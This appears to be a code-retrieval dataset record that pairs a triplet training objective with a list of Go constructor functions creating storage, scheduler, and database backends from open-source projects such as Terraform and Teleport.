err) } } return dcr, nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func NewBackend(conf config.Config) (*Backend, error) {\n\tlog.WithFields(log.Fields{\n\t\t\"event_url\": conf.Backend.Concentratord.EventURL,\n\t\t\"command_url\": conf.Backend.Concentratord.CommandURL,\n\t}).Info(\"backend/concentratord: setting up backend\")\n\n\tb := Backend{\n\t\teventURL: conf.Backend.Concentratord.EventURL,\n\t\tcommandURL: conf.Backend.Concentratord.CommandURL,\n\n\t\tcrcCheck: conf.Backend.Concentratord.CRCCheck,\n\t}\n\n\treturn &b, nil\n}", "func New(cnf *config.Config) iface.Backend {\n\treturn &Backend{Backend: common.NewBackend(cnf)}\n}", "func NewBackend(conf *conf.Conf) (*Backend, error) {\n\tbackend := &Backend{}\n\n\tcfg := api.DefaultConfig()\n\tcfg.Address = conf.ConsulAddr\n\n\tif conf.Timeout != 0 {\n\t\tcfg.HttpClient.Timeout = time.Duration(conf.Timeout) * time.Second\n\t}\n\n\tif conf.Token != \"\" {\n\t\tcfg.Token = conf.Token\n\t}\n\n\tif conf.AuthEnabled {\n\t\tcfg.HttpAuth = &api.HttpBasicAuth{\n\t\t\tUsername: conf.AuthUserName,\n\t\t\tPassword: conf.AuthPassword,\n\t\t}\n\t}\n\n\tcli, err := api.NewClient(cfg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbackend.cli = cli\n\tbackend.agent = cli.Agent()\n\n\treturn backend, nil\n}", "func New(c *Config) (*Backend, error) {\n\tif err := validation.Validate.Struct(c); err != nil {\n\t\treturn nil, err\n\t}\n\tb := &Backend{\n\t\tkeys: make(chan *template.Key, 500),\n\t\tlog: c.Logger,\n\t\tsvc: c.SSM,\n\t}\n\treturn b, nil\n}", "func New(capsuleChan chan *capsule.Capsule) (*Backend, error) {\n\t// Loads a new structured configuration with the informations of a given\n\t// configuration file.\n\tproviderConfig, err := loadConfig()\n\tif err != nil {\n\t\treturn nil, errors.Annotate(err, \"initiliazing backend\")\n\t}\n\n\t// Loads backend providers defined as activated.\n\tp, err := loadProvider(providerConfig)\n\tif err != nil {\n\t\treturn nil, errors.Annotate(err, \"initiliazing backend\")\n\t}\n\n\treturn &Backend{\n\t\tactivatedProvider: p,\n\t\tcapsule: capsuleChan,\n\t\twg: &sync.WaitGroup{},\n\t}, nil\n}", "func NewBackend(ipc string, logger dex.Logger, network dex.Network) (*Backend, error) {\n\tcfg, err := load(ipc, network)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn unconnectedETH(logger, cfg), nil\n}", "func (b BackendType) NewConfig() interface{} {\n\tswitch b {\n\tcase EtcdV2:\n\t\treturn &etcd.EtcdConfig{}\n\tdefault:\n\t\tlog.Errorf(\"Unknown backend type: %v\", b)\n\t\treturn nil\n\t}\n}", "func New() iface.Backend {\n\treturn &Backend{\n\t\tBackend: common.NewBackend(new(config.Config)),\n\t\tgroups: make(map[string][]string),\n\t\ttasks: make(map[string][]byte),\n\t}\n}", "func NewBackend(arguments *arguments.Arguments, environment Environment) (*Backend, error) {\n\tlog := logging.Get().WithGroup(\"backend\")\n\tconfig, err := config.NewConfig(arguments.AppConfigFilename(), arguments.AccountsConfigFilename())\n\tif err != nil {\n\t\treturn nil, errp.WithStack(err)\n\t}\n\tlog.Infof(\"backend config: %+v\", config.AppConfig().Backend)\n\tlog.Infof(\"frontend config: %+v\", config.AppConfig().Frontend)\n\tbackend := &Backend{\n\t\targuments: arguments,\n\t\tenvironment: environment,\n\t\tconfig: config,\n\t\tevents: make(chan interface{}, 1000),\n\n\t\tdevices: map[string]device.Interface{},\n\t\tcoins: map[coinpkg.Code]coinpkg.Coin{},\n\t\taccounts: []accounts.Interface{},\n\t\taopp: AOPP{State: aoppStateInactive},\n\n\t\tmakeBtcAccount: func(config *accounts.AccountConfig, coin *btc.Coin, gapLimits *types.GapLimits, log *logrus.Entry) accounts.Interface {\n\t\t\treturn btc.NewAccount(config, coin, gapLimits, log)\n\t\t},\n\t\tmakeEthAccount: func(config *accounts.AccountConfig, coin *eth.Coin, httpClient *http.Client, log *logrus.Entry) accounts.Interface {\n\t\t\treturn eth.NewAccount(config, coin, httpClient, log)\n\t\t},\n\n\t\tlog: log,\n\t}\n\tnotifier, err := NewNotifier(filepath.Join(arguments.MainDirectoryPath(), \"notifier.db\"))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbackend.notifier = notifier\n\tbackend.socksProxy = socksproxy.NewSocksProxy(\n\t\tbackend.config.AppConfig().Backend.Proxy.UseProxy,\n\t\tbackend.config.AppConfig().Backend.Proxy.ProxyAddress,\n\t)\n\thclient, err := backend.socksProxy.GetHTTPClient()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbackend.httpClient = hclient\n\tbackend.etherScanHTTPClient = ratelimit.FromTransport(hclient.Transport, etherscan.CallInterval)\n\n\tratesCache := filepath.Join(arguments.CacheDirectoryPath(), \"exchangerates\")\n\tif err := os.MkdirAll(ratesCache, 0700); err != nil {\n\t\tlog.Errorf(\"RateUpdater DB cache dir: %v\", err)\n\t}\n\tbackend.ratesUpdater = rates.NewRateUpdater(hclient, ratesCache)\n\tbackend.ratesUpdater.Observe(backend.Notify)\n\n\tbackend.banners = banners.NewBanners()\n\tbackend.banners.Observe(backend.Notify)\n\n\treturn backend, nil\n}", "func NewBackend(conf config.Config) (scheduler.Backend, error) {\n\t// TODO need GCE scheduler config validation. If zone is missing, nothing works.\n\n\t// Create a client for talking to the funnel scheduler\n\tclient, err := scheduler.NewClient(conf.Worker)\n\tif err != nil {\n\t\tlog.Error(\"Can't connect scheduler client\", err)\n\t\treturn nil, err\n\t}\n\n\t// Create a client for talking to the GCE API\n\tgce, gerr := newClientFromConfig(conf)\n\tif gerr != nil {\n\t\tlog.Error(\"Can't connect GCE client\", gerr)\n\t\treturn nil, gerr\n\t}\n\n\treturn &Backend{\n\t\tconf: conf,\n\t\tclient: client,\n\t\tgce: gce,\n\t}, nil\n}", "func NewBackend(input *NewBackendInput) Backend {\n\treturn &backendImpl{\n\t\trecordDB: input.RecordDB,\n\t}\n}", "func NewBackend(logger logger.Logger, v3ioContext v3io.Context, config *frames.BackendConfig, framesConfig *frames.Config) (frames.DataBackend, error) {\n\tnewBackend := Backend{\n\t\tlogger: logger.GetChild(\"kv\"),\n\t\tnumWorkers: config.Workers,\n\t\tupdateWorkersPerVN: config.UpdateWorkersPerVN,\n\t\tframesConfig: framesConfig,\n\t\tv3ioContext: v3ioContext,\n\t\tinactivityTimeout: 0,\n\t\tmaxRecordsInfer: config.MaxRecordsInferSchema,\n\t}\n\treturn &newBackend, nil\n}", "func New(ctx context.Context, connection string, tlsInfo tls.Config) (server.Backend, error) {\n\treturn newBackend(ctx, connection, tlsInfo, false)\n}", "func (m *Meta) backendFromConfig(opts *BackendOpts) (backend.Backend, tfdiags.Diagnostics) {\n\t// Get the local backend configuration.\n\tc, cHash, diags := m.backendConfig(opts)\n\tif diags.HasErrors() {\n\t\treturn nil, diags\n\t}\n\n\t// ------------------------------------------------------------------------\n\t// For historical reasons, current backend configuration for a working\n\t// directory is kept in a *state-like* file, using the legacy state\n\t// structures in the Terraform package. It is not actually a Terraform\n\t// state, and so only the \"backend\" portion of it is actually used.\n\t//\n\t// The remainder of this code often confusingly refers to this as a \"state\",\n\t// so it's unfortunately important to remember that this is not actually\n\t// what we _usually_ think of as \"state\", and is instead a local working\n\t// directory \"backend configuration state\" that is never persisted anywhere.\n\t//\n\t// Since the \"real\" state has since moved on to be represented by\n\t// states.State, we can recognize the special meaning of state that applies\n\t// to this function and its callees by their continued use of the\n\t// otherwise-obsolete terraform.State.\n\t// ------------------------------------------------------------------------\n\n\t// Get the path to where we store a local cache of backend configuration\n\t// if we're using a remote backend. This may not yet exist which means\n\t// we haven't used a non-local backend before. That is okay.\n\tstatePath := filepath.Join(m.DataDir(), DefaultStateFilename)\n\tsMgr := &clistate.LocalState{Path: statePath}\n\tif err := sMgr.RefreshState(); err != nil {\n\t\tdiags = diags.Append(fmt.Errorf(\"Failed to load state: %s\", err))\n\t\treturn nil, diags\n\t}\n\n\t// Load the state, it must be non-nil for the tests below but can be empty\n\ts := sMgr.State()\n\tif s == nil {\n\t\tlog.Printf(\"[TRACE] Meta.Backend: backend has not previously been initialized in this working directory\")\n\t\ts = legacy.NewState()\n\t} else if s.Backend != nil {\n\t\tlog.Printf(\"[TRACE] Meta.Backend: working directory was previously initialized for %q backend\", s.Backend.Type)\n\t} else {\n\t\tlog.Printf(\"[TRACE] Meta.Backend: working directory was previously initialized but has no backend (is using legacy remote state?)\")\n\t}\n\n\t// if we want to force reconfiguration of the backend, we set the backend\n\t// state to nil on this copy. This will direct us through the correct\n\t// configuration path in the switch statement below.\n\tif m.reconfigure {\n\t\ts.Backend = nil\n\t}\n\n\t// Upon return, we want to set the state we're using in-memory so that\n\t// we can access it for commands.\n\tm.backendState = nil\n\tdefer func() {\n\t\tif s := sMgr.State(); s != nil && !s.Backend.Empty() {\n\t\t\tm.backendState = s.Backend\n\t\t}\n\t}()\n\n\tif !s.Remote.Empty() {\n\t\t// Legacy remote state is no longer supported. User must first\n\t\t// migrate with Terraform 0.11 or earlier.\n\t\tdiags = diags.Append(tfdiags.Sourceless(\n\t\t\ttfdiags.Error,\n\t\t\t\"Legacy remote state not supported\",\n\t\t\t\"This working directory is configured for legacy remote state, which is no longer supported from Terraform v0.12 onwards. To migrate this environment, first run \\\"terraform init\\\" under a Terraform 0.11 release, and then upgrade Terraform again.\",\n\t\t))\n\t\treturn nil, diags\n\t}\n\n\t// This switch statement covers all the different combinations of\n\t// configuring new backends, updating previously-configured backends, etc.\n\tswitch {\n\t// No configuration set at all. Pure local state.\n\tcase c == nil && s.Backend.Empty():\n\t\tlog.Printf(\"[TRACE] Meta.Backend: using default local state only (no backend configuration, and no existing initialized backend)\")\n\t\treturn nil, nil\n\n\t// We're unsetting a backend (moving from backend => local)\n\tcase c == nil && !s.Backend.Empty():\n\t\tlog.Printf(\"[TRACE] Meta.Backend: previously-initialized %q backend is no longer present in config\", s.Backend.Type)\n\n\t\tinitReason := fmt.Sprintf(\"Unsetting the previously set backend %q\", s.Backend.Type)\n\t\tif !opts.Init {\n\t\t\tdiags = diags.Append(tfdiags.Sourceless(\n\t\t\t\ttfdiags.Error,\n\t\t\t\t\"Backend initialization required, please run \\\"terraform init\\\"\",\n\t\t\t\tfmt.Sprintf(strings.TrimSpace(errBackendInit), initReason),\n\t\t\t))\n\t\t\treturn nil, diags\n\t\t}\n\n\t\tif s.Backend.Type != \"cloud\" && !m.migrateState {\n\t\t\tdiags = diags.Append(migrateOrReconfigDiag)\n\t\t\treturn nil, diags\n\t\t}\n\n\t\treturn m.backend_c_r_S(c, cHash, sMgr, true)\n\n\t// Configuring a backend for the first time or -reconfigure flag was used\n\tcase c != nil && s.Backend.Empty():\n\t\tlog.Printf(\"[TRACE] Meta.Backend: moving from default local state only to %q backend\", c.Type)\n\t\tif !opts.Init {\n\t\t\tif c.Type == \"cloud\" {\n\t\t\t\tinitReason := \"Initial configuration of Terraform Cloud\"\n\t\t\t\tdiags = diags.Append(tfdiags.Sourceless(\n\t\t\t\t\ttfdiags.Error,\n\t\t\t\t\t\"Terraform Cloud initialization required: please run \\\"terraform init\\\"\",\n\t\t\t\t\tfmt.Sprintf(strings.TrimSpace(errBackendInitCloud), initReason),\n\t\t\t\t))\n\t\t\t} else {\n\t\t\t\tinitReason := fmt.Sprintf(\"Initial configuration of the requested backend %q\", c.Type)\n\t\t\t\tdiags = diags.Append(tfdiags.Sourceless(\n\t\t\t\t\ttfdiags.Error,\n\t\t\t\t\t\"Backend initialization required, please run \\\"terraform init\\\"\",\n\t\t\t\t\tfmt.Sprintf(strings.TrimSpace(errBackendInit), initReason),\n\t\t\t\t))\n\t\t\t}\n\t\t\treturn nil, diags\n\t\t}\n\t\treturn m.backend_C_r_s(c, cHash, sMgr, opts)\n\t// Potentially changing a backend configuration\n\tcase c != nil && !s.Backend.Empty():\n\t\t// We are not going to migrate if...\n\t\t//\n\t\t// We're not initializing\n\t\t// AND the backend cache hash values match, indicating that the stored config is valid and completely unchanged.\n\t\t// AND we're not providing any overrides. An override can mean a change overriding an unchanged backend block (indicated by the hash value).\n\t\tif (uint64(cHash) == s.Backend.Hash) && (!opts.Init || opts.ConfigOverride == nil) {\n\t\t\tlog.Printf(\"[TRACE] Meta.Backend: using already-initialized, unchanged %q backend configuration\", c.Type)\n\t\t\tsavedBackend, diags := m.savedBackend(sMgr)\n\t\t\t// Verify that selected workspace exist. Otherwise prompt user to create one\n\t\t\tif opts.Init && savedBackend != nil {\n\t\t\t\tif err := m.selectWorkspace(savedBackend); err != nil {\n\t\t\t\t\tdiags = diags.Append(err)\n\t\t\t\t\treturn nil, diags\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn savedBackend, diags\n\t\t}\n\n\t\t// If our configuration (the result of both the literal configuration and given\n\t\t// -backend-config options) is the same, then we're just initializing a previously\n\t\t// configured backend. The literal configuration may differ, however, so while we\n\t\t// don't need to migrate, we update the backend cache hash value.\n\t\tif !m.backendConfigNeedsMigration(c, s.Backend) {\n\t\t\tlog.Printf(\"[TRACE] Meta.Backend: using already-initialized %q backend configuration\", c.Type)\n\t\t\tsavedBackend, moreDiags := m.savedBackend(sMgr)\n\t\t\tdiags = diags.Append(moreDiags)\n\t\t\tif moreDiags.HasErrors() {\n\t\t\t\treturn nil, diags\n\t\t\t}\n\n\t\t\t// It's possible for a backend to be unchanged, and the config itself to\n\t\t\t// have changed by moving a parameter from the config to `-backend-config`\n\t\t\t// In this case, we update the Hash.\n\t\t\tmoreDiags = m.updateSavedBackendHash(cHash, sMgr)\n\t\t\tif moreDiags.HasErrors() {\n\t\t\t\treturn nil, diags\n\t\t\t}\n\t\t\t// Verify that selected workspace exist. Otherwise prompt user to create one\n\t\t\tif opts.Init && savedBackend != nil {\n\t\t\t\tif err := m.selectWorkspace(savedBackend); err != nil {\n\t\t\t\t\tdiags = diags.Append(err)\n\t\t\t\t\treturn nil, diags\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn savedBackend, diags\n\t\t}\n\t\tlog.Printf(\"[TRACE] Meta.Backend: backend configuration has changed (from type %q to type %q)\", s.Backend.Type, c.Type)\n\n\t\tcloudMode := cloud.DetectConfigChangeType(s.Backend, c, false)\n\n\t\tif !opts.Init {\n\t\t\t//user ran another cmd that is not init but they are required to initialize because of a potential relevant change to their backend configuration\n\t\t\tinitDiag := m.determineInitReason(s.Backend.Type, c.Type, cloudMode)\n\t\t\tdiags = diags.Append(initDiag)\n\t\t\treturn nil, diags\n\t\t}\n\n\t\tif !cloudMode.InvolvesCloud() && !m.migrateState {\n\t\t\tdiags = diags.Append(migrateOrReconfigDiag)\n\t\t\treturn nil, diags\n\t\t}\n\n\t\tlog.Printf(\"[WARN] backend config has changed since last init\")\n\t\treturn m.backend_C_r_S_changed(c, cHash, sMgr, true, opts)\n\n\tdefault:\n\t\tdiags = diags.Append(fmt.Errorf(\n\t\t\t\"Unhandled backend configuration state. This is a bug. Please\\n\"+\n\t\t\t\t\"report this error with the following information.\\n\\n\"+\n\t\t\t\t\"Config Nil: %v\\n\"+\n\t\t\t\t\"Saved Backend Empty: %v\\n\",\n\t\t\tc == nil, s.Backend.Empty(),\n\t\t))\n\t\treturn nil, diags\n\t}\n}", "func New(cfg Config) Backend {\n\treturn &instance{\n\t\tcli: cfg.Client,\n\t\tcfg: cfg.RestConfig,\n\t\tinitImage: cfg.InitImage,\n\t\tnamespace: cfg.Namespace,\n\t\trandomPorts: map[int]int{},\n\t\ttimeOut: int(cfg.TimeOut.Seconds()),\n\t}\n}", "func NewBackend(ctrl *gomock.Controller) *Backend {\n\tmock := &Backend{ctrl: ctrl}\n\tmock.recorder = &BackendMockRecorder{mock}\n\treturn mock\n}", "func New(configPathRel string) *Config {\n\tdir, err := os.Getwd()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tc := &Config{}\n\tc.workinkDir = dir\n\n\tconfigPathAbs := path.Join(dir, configPathRel)\n\n\tfile, err := ioutil.ReadFile(configPathAbs)\n\n\tif err != nil {\n\t\tpanic(fmt.Errorf(\"Config not found in path: %s\", configPathAbs))\n\t}\n\n\te := json.Unmarshal(file, c)\n\n\tif e != nil {\n\t\tpanic(fmt.Errorf(\"Cannot read config: %s\", err))\n\t}\n\n\treturn c\n}", "func FromConfig(l log.Logger, backedType string, cfg Config) (Backend, error) {\n\tvar (\n\t\tb Backend\n\t\terr error\n\t)\n\n\tswitch backedType {\n\tcase Azure:\n\t\tlevel.Warn(l).Log(\"msg\", \"using azure blob as backend\")\n\t\tb, err = azure.New(log.With(l, \"backend\", Azure), cfg.Azure)\n\tcase S3:\n\t\tlevel.Warn(l).Log(\"msg\", \"using aws s3 as backend\")\n\t\tb, err = s3.New(log.With(l, \"backend\", S3), cfg.S3, cfg.Debug)\n\tcase GCS:\n\t\tlevel.Warn(l).Log(\"msg\", \"using gc storage as backend\")\n\t\tb, err = gcs.New(log.With(l, \"backend\", GCS), cfg.GCS)\n\tcase FileSystem:\n\t\tlevel.Warn(l).Log(\"msg\", \"using filesystem as backend\")\n\t\tb, err = filesystem.New(log.With(l, \"backend\", FileSystem), cfg.FileSystem)\n\tcase SFTP:\n\t\tlevel.Warn(l).Log(\"msg\", \"using sftp as backend\")\n\t\tb, err = sftp.New(log.With(l, \"backend\", SFTP), cfg.SFTP)\n\tcase AliOSS:\n\t\tlevel.Warn(l).Log(\"msg\", \"using Alibaba OSS storage as backend\")\n\t\tb, err = alioss.New(log.With(l, \"backend\", AliOSS), cfg.Alioss, cfg.Debug)\n\tdefault:\n\t\treturn nil, errors.New(\"unknown backend\")\n\t}\n\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"initialize backend, %w\", err)\n\t}\n\n\treturn b, nil\n}", "func New(d diag.Sink, cloudURL string, project *workspace.Project, insecure bool) (Backend, error) {\n\tcloudURL = ValueOrDefaultURL(cloudURL)\n\taccount, err := workspace.GetAccount(cloudURL)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"getting stored credentials: %w\", err)\n\t}\n\tapiToken := account.AccessToken\n\n\tclient := client.NewClient(cloudURL, apiToken, insecure, d)\n\tcapabilities := detectCapabilities(d, client)\n\n\treturn &cloudBackend{\n\t\td: d,\n\t\turl: cloudURL,\n\t\tclient: client,\n\t\tcapabilities: capabilities,\n\t\tcurrentProject: project,\n\t}, nil\n}", "func NewBackend(fns ...opt) backend.Backend {\n\treturn backend.Func(\"env\", func(ctx context.Context, key string) ([]byte, error) {\n\t\tkey = strings.Replace(key, \"-\", \"_\", -1)\n\t\tval, ok := os.LookupEnv(opts(key, fns...))\n\t\tif ok {\n\t\t\treturn []byte(val), nil\n\t\t}\n\t\tval, ok = os.LookupEnv(opts(strings.ToUpper(key), fns...))\n\t\tif ok {\n\t\t\treturn []byte(val), nil\n\t\t}\n\t\treturn nil, backend.ErrNotFound\n\t})\n}", "func New(dir string, valueDir string) (Backend, error) {\n\topts := badger.DefaultOptions\n\topts.Dir = dir\n\topts.ValueDir = valueDir\n\n\tdb, err := badger.Open(opts)\n\treturn Backend{db}, err\n}", "func (b backend) New(ctx context.Context, l log.Interface, cfg *config.Config) (persist.Database, error) {\n\tusername, password, host, port, db :=\n\t\tcfg.Database.Postgres.Username,\n\t\tcfg.Database.Postgres.Password,\n\t\tcfg.Database.Postgres.Host,\n\t\tcfg.Database.Postgres.Port,\n\t\tcfg.Database.Postgres.DB\n\n\tconnString := fmt.Sprintf(\n\t\t\"postgres://%s:%s@%s:%d/%s\",\n\t\tusername,\n\t\tpassword,\n\t\thost,\n\t\tport,\n\t\tdb,\n\t)\n\n\tconn, err := pgxpool.Connect(ctx, connString)\n\tif err != nil {\n\t\treturn nil, errwrap.Wrap(err, \"failed to connect to postgres\")\n\t}\n\n\tq := gen.New(conn)\n\n\treturn &database{\n\t\tqueries: q,\n\t}, nil\n}", "func NewBackend(impl, addr, prefix string, tags ...string) (Backend, error) {\n\tvar err error\n\tvar b Backend\n\tswitch strings.ToLower(impl) {\n\tcase \"datadog\":\n\t\tb, err = NewDatadogBackend(addr, prefix, tags)\n\tcase \"log\":\n\t\tb = NewLogBackend(prefix, tags)\n\tcase \"null\":\n\t\tb = NewNullBackend()\n\tdefault:\n\t\treturn nil, errors.WithStack(ErrUnknownBackend)\n\t}\n\n\treturn b, errors.WithStack(err)\n}", "func New(conn *grpc.ClientConn, opts ...Option) (*backend, error) {\n\toptions := new(backendOptions)\n\tfor _, opt := range opts {\n\t\topt(options)\n\t}\n\treturn &backend{conn}, nil\n}", "func NewBackend(id BackendID, protocol L4Type, addrCluster cmtypes.AddrCluster, portNumber uint16) *Backend {\n\tlbport := NewL4Addr(protocol, portNumber)\n\tb := Backend{\n\t\tID: id,\n\t\tL3n4Addr: L3n4Addr{AddrCluster: addrCluster, L4Addr: *lbport},\n\t\tState: BackendStateActive,\n\t\tPreferred: Preferred(false),\n\t\tWeight: DefaultBackendWeight,\n\t}\n\n\treturn &b\n}", "func New() (interface{}, error) {\n\treturn Backend(), nil\n}", "func NewMockBackend(conf config.Config) (*MockBackend, error) {\n\t// Set up a GCE scheduler backend that has a mock client\n\t// so that it doesn't actually communicate with GCE.\n\n\tgceWrapper := new(gcemock.Wrapper)\n\tgceClient := &gceClient{\n\t\twrapper: gceWrapper,\n\t\tproject: conf.Backends.GCE.Project,\n\t\tzone: conf.Backends.GCE.Zone,\n\t}\n\n\tschedClient, err := scheduler.NewClient(conf.Worker)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &MockBackend{\n\t\tBackend: &Backend{\n\t\t\tconf: conf,\n\t\t\tclient: schedClient,\n\t\t\tgce: gceClient,\n\t\t},\n\t\tWrapper: gceWrapper,\n\t}, nil\n}", "func NewBackend(config *Config, log *logger.Logger) (b *Backend, err error) {\n\tb = new(Backend)\n\tb.Config = config\n\n\t// Prepare database connection depending on driver type\n\tvar dial gorm.Dialector\n\tswitch config.Driver {\n\tcase \"sqlite3\":\n\t\tdial = sqlite.Open(config.ConnectionString)\n\tcase \"postgres\":\n\t\tdial = postgres.Open(config.ConnectionString)\n\tcase \"mysql\":\n\t\tdial = mysql.New(mysql.Config{\n\t\t\tDSN: config.ConnectionString,\n\t\t\tDefaultStringSize: 256, // default size for string fields\n\t\t\tSkipInitializeWithVersion: true, // auto configure based on currently MySQL version\n\t\t})\n\n\t//case \"sqlserver\":\n\t//\tdial = sqlserver.Open(config.ConnectionString)\n\t//\n\t// There is currently an issue with the reserved keyword user not being correctly escaped\n\t// \"SELECT count(*) FROM \"uploads\" WHERE uploads.user == \"user\" AND \"uploads\".\"deleted_at\" IS NULL\"\n\t// -> returns : Incorrect syntax near the keyword 'user'\n\t// \"SELECT count(*) FROM \"uploads\" WHERE uploads.[user] = \"user\" AND \"uploads\".\"deleted_at\" IS NULL\"\n\t// -> Would be OK\n\t// TODO investigate how the query is generated and maybe open issue in https://github.com/denisenkom/go-mssqldb ?\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"Invalid metadata backend driver : %s\", config.Driver)\n\t}\n\n\t// Setup logging adaptor\n\tb.log = log\n\tgormLoggerAdapter := NewGormLoggerAdapter(log.Copy())\n\n\tif b.Config.Debug {\n\t\t// Display all Gorm log messages\n\t\tgormLoggerAdapter.logger.SetMinLevel(logger.DEBUG)\n\t} else {\n\t\t// Display only Gorm errors\n\t\tgormLoggerAdapter.logger.SetMinLevel(logger.WARNING)\n\t}\n\n\t// Set slow query threshold\n\tif config.SlowQueryThreshold != \"\" {\n\t\tduration, err := time.ParseDuration(config.SlowQueryThreshold)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"Unable to parse SlowQueryThreshold : %s\", err)\n\t\t}\n\t\tgormLoggerAdapter.SlowQueryThreshold = duration\n\t}\n\n\t// Open database connection\n\tb.db, err = gorm.Open(dial, &gorm.Config{Logger: gormLoggerAdapter})\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Unable to open database : %s\", err)\n\t}\n\n\tif config.Driver == \"sqlite3\" {\n\t\terr = b.db.Exec(\"PRAGMA journal_mode=WAL;\").Error\n\t\tif err != nil {\n\t\t\tif err := b.Shutdown(); err != nil {\n\t\t\t\tb.log.Criticalf(\"Unable to shutdown metadata backend : %s\", err)\n\t\t\t}\n\t\t\treturn nil, fmt.Errorf(\"unable to set wal mode : %s\", err)\n\t\t}\n\n\t\terr = b.db.Exec(\"PRAGMA foreign_keys = ON\").Error\n\t\tif err != nil {\n\t\t\tif err := b.Shutdown(); err != nil {\n\t\t\t\tb.log.Criticalf(\"Unable to shutdown metadata backend : %s\", err)\n\t\t\t}\n\t\t\treturn nil, fmt.Errorf(\"unable to enable foreign keys : %s\", err)\n\t\t}\n\t}\n\n\t// Setup metrics\n\tdbMetrics := gormPrometheus.New(gormPrometheus.Config{})\n\terr = b.db.Use(dbMetrics)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unable to enable gorm metrics : %s\", err)\n\t}\n\tb.dbStats = dbMetrics.DBStats\n\n\t// For testing\n\tif config.EraseFirst {\n\t\terr = b.db.Migrator().DropTable(\"files\", \"uploads\", \"tokens\", \"users\", \"settings\", \"migrations\")\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"unable to drop tables : %s\", err)\n\t\t}\n\t}\n\n\tif !b.Config.noMigrations {\n\t\t// Initialize database schema\n\t\terr = b.initializeSchema()\n\t\tif err != nil {\n\t\t\tif err := b.Shutdown(); err != nil {\n\t\t\t\tb.db.Logger.Error(context.Background(), \"Unable to shutdown metadata backend : %s\", err)\n\t\t\t}\n\t\t\treturn nil, fmt.Errorf(\"unable to initialize DB : %s\", err)\n\t\t}\n\t}\n\n\t// Adjust max idle/open connection pool size\n\terr = b.adjustConnectionPoolParameters()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn b, err\n}", "func NewKeyringFromBackend(ctx Context, backend string) (keyring.Keyring, error) {\n\tif ctx.Simulate {\n\t\tbackend = keyring.BackendMemory\n\t}\n\n\treturn keyring.New(sdk.KeyringServiceName(), backend, ctx.KeyringDir, ctx.Input, ctx.Codec, ctx.KeyringOptions...)\n}", "func New(ctx context.Context, params backend.Params, options Options) (*Backend, error) {\n\tl := log.WithFields(log.Fields{trace.Component: BackendName})\n\tvar cfg *backendConfig\n\terr := apiutils.ObjectToStruct(params, &cfg)\n\tif err != nil {\n\t\treturn nil, trace.BadParameter(\"firestore: configuration is invalid: %v\", err)\n\t}\n\tl.Info(\"Initializing backend.\")\n\n\tif err := cfg.CheckAndSetDefaults(); err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\n\tif err := options.checkAndSetDefaults(); err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\n\tcloseCtx, cancel := context.WithCancel(ctx)\n\tfirestoreAdminClient, firestoreClient, err := CreateFirestoreClients(closeCtx, cfg.ProjectID, cfg.EndPoint, cfg.CredentialsPath)\n\tif err != nil {\n\t\tcancel()\n\t\treturn nil, trace.Wrap(err)\n\t}\n\t// Admin client is only used for building indexes at startup.\n\t// It won't be needed after New returns.\n\tdefer firestoreAdminClient.Close()\n\n\tbuf := backend.NewCircularBuffer(\n\t\tbackend.BufferCapacity(cfg.BufferSize),\n\t)\n\n\tb := &Backend{\n\t\tsvc: firestoreClient,\n\t\tEntry: l,\n\t\tbackendConfig: *cfg,\n\t\tclock: options.Clock,\n\t\tbuf: buf,\n\t\tclientContext: closeCtx,\n\t\tclientCancel: cancel,\n\t}\n\n\tif len(cfg.EndPoint) == 0 {\n\t\terr = b.ensureIndexes(firestoreAdminClient)\n\t\tif err != nil {\n\t\t\treturn nil, trace.Wrap(err)\n\t\t}\n\t}\n\n\t// kicking off async tasks\n\tlinearConfig := retryutils.LinearConfig{\n\t\tStep: b.RetryPeriod / 10,\n\t\tMax: b.RetryPeriod,\n\t}\n\tgo RetryingAsyncFunctionRunner(b.clientContext, linearConfig, b.Logger, b.watchCollection, \"watchCollection\")\n\tif !cfg.DisableExpiredDocumentPurge {\n\t\tgo RetryingAsyncFunctionRunner(b.clientContext, linearConfig, b.Logger, b.purgeExpiredDocuments, \"purgeExpiredDocuments\")\n\t}\n\n\tl.Info(\"Backend created.\")\n\treturn b, nil\n}", "func GetEtcdBackend(ctx context.Context, prefix string,\n\tetcdConfig *EtcdConfig) (Backend, er.R) {\n\n\t// Config translation is needed here in order to keep the\n\t// etcd package fully independent from the rest of the source tree.\n\tbackendConfig := etcd.BackendConfig{\n\t\tCtx: ctx,\n\t\tHost: etcdConfig.Host,\n\t\tUser: etcdConfig.User,\n\t\tPass: etcdConfig.Pass,\n\t\tCertFile: etcdConfig.CertFile,\n\t\tKeyFile: etcdConfig.KeyFile,\n\t\tInsecureSkipVerify: etcdConfig.InsecureSkipVerify,\n\t\tPrefix: prefix,\n\t\tCollectCommitStats: etcdConfig.CollectStats,\n\t}\n\n\treturn Open(EtcdBackendName, backendConfig)\n}", "func CreateBackendController(conf map[string]string) (BackendController, error) {\n\tbackendsMutex.Lock()\n\tdefer backendsMutex.Unlock()\n\n\t// Query configuration for backend controller.\n\tengineName := conf[\"BACKEND\"]\n\n\tengineFactory, ok := backendControllerFactories[engineName]\n\tif !ok {\n\t\t// Factory has not been registered.\n\t\t// Make a list of all available backend controller factories for logging.\n\t\tavailableBackendControllers := make([]string, len(backendControllerFactories))\n\t\tfor k := range backendControllerFactories {\n\t\t\tavailableBackendControllers = append(availableBackendControllers, k)\n\t\t}\n\t\treturn nil, fmt.Errorf(\"Invalid backend controller name. Must be one of: %s\", strings.Join(availableBackendControllers, 